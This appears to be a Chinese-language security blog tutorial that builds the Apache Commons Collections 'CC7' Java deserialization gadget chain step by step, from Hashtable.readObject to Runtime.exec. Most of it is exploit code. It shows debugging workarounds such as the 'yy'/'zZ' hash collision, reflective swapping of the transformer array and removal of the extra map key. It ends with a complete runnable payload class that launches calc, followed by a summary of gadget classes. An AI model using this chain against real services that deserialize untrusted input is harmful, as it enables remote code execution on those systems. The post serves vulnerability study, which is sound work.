private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

这里面e是参数tab的索引,如果e.key是AbstractMap,那么就可以调用AbstractMap.equals方法。这个方法是私有方法不能直接调用

然后查看在哪里调用了reconstitutionPut,只有在这个类的readObject方法调用了

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
      .........
        length = Math.min(length, origlength);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

这里的key与value就是我们自己存进去的,for循环是遍历hashtable对象中的元素

乍一看链子也就这样了,其实还有很多坑

目前的构造:

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

Hashtable hashTable = new Hashtable();
hashTable.put(lazymap, 1);

serialize(hashTable);
unserialize("ser.bin");

经过调试发现,在reconstitutionPut()中,无法进入for循环

int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}
// Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;

此时hash=0 这个key就是lazymap, 这个for循环是遍历这个tab, tab的所有值显示为null,说明没有值,所以没有进入for循环,直接运行到后面,将内容保存到tab里面tab[index] = new Entry<>(hash, key, value, e);

这就说明,无论第一个键值对是什么都不会进如循环里面,所以要添加第二个键值对

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("a", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("b", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);

serialize(hashtable);
unserialize("ser.bin");

这里一定要使用不同的hashmap,不然再hashtable.put的时候会认为是同一个

然后继续调试,又回到了for循环

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
    if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
    }
}

这里要满足e.hash == hash就是第一个key的hash和第二个key的hash相等,如果不相等则直接为false,不执行后面的equals了

这里不能直接将两个key设置为相等的,因为在lazymap的get方法中有以下逻辑,map的key不能重复否则就不会执行transform函数执行代码了

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

所以只能构造为”yy” “zZ”这两个key

Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);

serialize(hashtable);
unserialize("ser.bin");

运行后发现,还没有就行反序列化,命令执行就触发了,原来是在hashtable.put(lazyMap2, 1);的时候刚好触发了put方法里面的equals方法,然后就没有往下执行了

public synchronized V put(K key, V value) {
        // Make sure the value is not null
        if (value == null) {
            throw new NullPointerException();
        }

        // Makes sure the key is not already in the hashtable.
        Entry<?,?> tab[] = table;
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        @SuppressWarnings("unchecked")
        Entry<K,V> entry = (Entry<K,V>)tab[index];
        for(; entry != null ; entry = entry.next) {
            if ((entry.hash == hash) && entry.key.equals(key)) {
                V old = entry.value;
                entry.value = value;
                return old;
            }
        }

        addEntry(hash, key, value, index);
        return null;
    }

解决这个问题和CC6一样,先构造transformers链的时候先给一个无意义的链,让程序先执行,然后再通过反射修改回来

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformers);

        serialize(hashtable);
        unserialize("ser.bin");

然后执行不成功,调试发现是因为m.size() != size()为true,

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

原因是反序列化前,运行到LazyMap的get()方法中,执行完transform往下,map.put(key, value)这里给map添加了键值对使得size变大了

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

经过调试发现key是”yy”,所以要删除掉

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
lazyMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");

利用链如下

graph TB
A("java.util.Hashtable#\nreadObject()")-->
B("java.util.Hashtable#\nreconstitutionPut()")-->
C("java.util.AbstractMap#\nequals()")-->
D("org.apache.commons.collections.map.LazyMap#\nget()")-->
E("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->
F("org.apache.commons.collections.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->
G("Runtime.getRuntime.exec")

完整代码:

package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class App
{
    public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[] {};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformers);
        lazyMap2.remove("yy");

        serialize(hashtable);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结

CC

五大反序列化利用基类:

1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。

2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的transform方法,用来直接和Transformer配合使用。

3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。

4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。

5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和LazyMap配合使用。

四大Transformer的transform:

1.ChainedTransformer:循环调用成员变量iTransformers数组中的tranform方法。

2.InvokerTransformer: 通过反射的方法调用传入transform方法中的input对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)

3.ConstantTransformer:返回成员变量iConstant的值。

4.InstantiateTransformer:通过反射的方法返回传入参数input的实例。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)

三大Map:

1.LazyMap:通过调用LazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。

2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和LazyMap配合使用。

3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。